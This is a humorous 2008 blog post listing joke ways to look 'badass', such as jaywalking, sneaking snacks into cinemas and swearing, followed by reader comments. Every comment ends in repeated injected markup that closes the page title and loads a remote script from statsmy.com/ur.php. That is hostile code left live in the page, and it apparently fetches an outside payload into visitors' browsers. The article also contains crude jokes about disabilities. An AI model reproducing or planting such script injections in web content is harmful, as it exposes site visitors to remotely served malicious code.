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Ten Steps to Being a Badass
by Kris on 7/27/2008 (5)

There is no denying that girls dig a bad guy. Some of us are lucky enough to be born with a pack of cigarettes in one hand, a motorcycle between our legs, and a leather jacket on our backs. This article is aimed at helping those who weren't so blessed into become the badass that will clean up with the ladies. Follow these simple ten steps and you'll be well on your way to becoming the next James Dean, minus the unfortunate auto related death of course.

What a rebel.
1. Jaywalking
Nothing says badass like breaking the law, and no law is easier to break than crossing the streets where you're not supposed to, a practice I have dubbed jaywalking. Whenever you feel like crossing a street, just do so. In fact, just cross the street for the hell of it and then cross right back at some arbitrary time later. Your total disregard for the law will have girls flocking to you like dingoes to an Australian baby. If you want to raise your badass limits to untold levels, try jaywalking while there is oncoming traffic coming too but remember that if you get hit, in order to keep up your newly acquired badass image, you're going to need to walk it off like a man, even if both your legs are broken and your arm is pinned under a tipped over Ford Explorer (which happens to be on fire).

2. Sneak Things into the Movie Theater
Movie theater refreshment prices are ridiculous. Show your hatred toward the man by refusing to play his cruel game of $4 popcorn and $3 Juju fruit buy bringing in your own. I know this sounds scary, so start small with something like a stick of gum and then gradually work up to a Thanksgiving dinner buffet. This could be the ultimate rush, as there is a constant fear that some minimum wage high school student will catch you and confiscate your precious booty. Everyone that sees you eating the non-theater food will be impressed by your rebelliousness (and thriftiness) and secretly wish there were as badass as you are.

3. Talk like a Badass
Leave the muttering and stammering at home. Badasses are men of few words, but when they speak, it's short, to the point, often sarcastic as hell, and causes villains shit themselves in fear. John McClane didn't say a lot, but when he did, it was something cool like "Yippie-kay-yay, motherfucker" or "You motherfucker, I'm gonna kill you!". You never heard the likes of Arnold, Chuck Norris, or Rambo talking about their World of Warcraft accounts or complaining about the economic recession so stop that shit right now. Swearing is pretty badass too, just look at Samuel L. Jackson, he is one badass motherfucker. Just don't overdo it or people will think you have turrets, which is about as badass as Helen Keller.

Nice rags.
4. Dress like a Badass
That "Legend of Zelda" t-shirt you like to wear might impress all your nerd friends, but if you want to be taken seriously as a badass, you need to look the part. Nothing says complete badass like 80's rock band tour t-shirts and ripped jean jackets. This will convey to people that you have a badass sense of music and a general disregard for the past twenty years of fashion, which have been decidedly less than badass. As an alternative, you can also go for the simple badas


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Comments

1. by Jose on 2/8/2010 5:17:36 PM
Calm down son, you think your a badass...h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kenny Powers on 11/11/2010 3:40:49 PM
You only gave 4 Steps. Here are the some more

5. Post Offensive dotcomments. Nothing is more baddass than posting offensive dotcomments for all to see, hopefully offending as many social groups as possible. However, this is not so easy young padwan, as you may get the comment removed by 'the pussies who run the site'. If you are lucky you'll get some liberal to argue back and forth with you and exchange e-punches.

6. Hawk-spitting in public. Although this is run of the mill hygene in the far East, spitting phlegm in our country is nothing short of foul. And fortunately for us, who wanna be badass, everyone finds it offensive. Aim to hawk spit on public transport to get the most badass effect. I advise to start with the nasal grunt and then build up to coughing up your lungs.

7. Double Parking. As well as offending the driving experience of people behind caught in traffic, this badass move epitomises badassness on the on the streets. This can be emphasized with loud music blaring out of the double parked car.

8. Untied shoelaces. Since the age of 3, in your first shoes, kids naturally displayed badassness running around on the streets with shoe laces untied. However, we would receive a sharp clip round the ear, and a warning that the offending lace would make us trip and fall. Taking heed we grew up into 'shoe-tying sychopants'. Show your rebellion, walk 'sans lacets'! ( Be careful not to fall or trip ad this could put you into negative badassness especially if you need a band aid)

9. Walk with a Limp. A Very contentious issue and this is not for the novice badass, as there are more ways to do it wrong than to do it right. However if executed correctly this could propel your badass score significantly skyward ( not that we're counting coz we're too badass for that). The ultimate limp is employed by 50 cent, which was caused by an occupation hazard, as he says "I got shot in the mouth thats why i talk funny, I got shot in the mouth thats why i walk funny" Think nonchalant swagger rather than clubfoot. Good Luck

10. TAlking with a cigarette in the pursed lips. Pulling this off Humphrey Bogart style, is what were aiming for here badasses, although it's like completing a a difficult quad axle on the ice rink. The aim is 2fold: to be able to hold the cigarette in mouth whilst talking, and also to be heard clearly, althoguh there is some tradeoff between the 2. First practice at home with a small pencil, then work up to an unlit cigarette and then the big time. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by nikki. on 2/24/2011 9:12:24 PM
okay, this is sad...these are ways to become a jerk. badasses dont have rules, they respect their time, know how to be a gentlemen, but know how to kick someones face in. plus a leather jacket never hurt anyone. if ur gonna have puberty rebellion spirts that just makes americans look like assholes, go facebook or something. there is a huge difference between badass and asshole. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Channi on 4/12/2011 11:40:49 AM
Here are the ten steps to be an asshole. Nice comment Nikky, those motherfuckers think themselves to be dark cold. Huh.....Silly cyber junkies.....ma midfinger is saluting you jerks.:/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Channi on 4/12/2011 11:40:54 AM
Here are the ten steps to be an asshole. Nice comment Nikky, those motherfuckers think themselves to be dark cold. Huh.....Silly cyber junkies.....ma midfinger is saluting you jerks.:/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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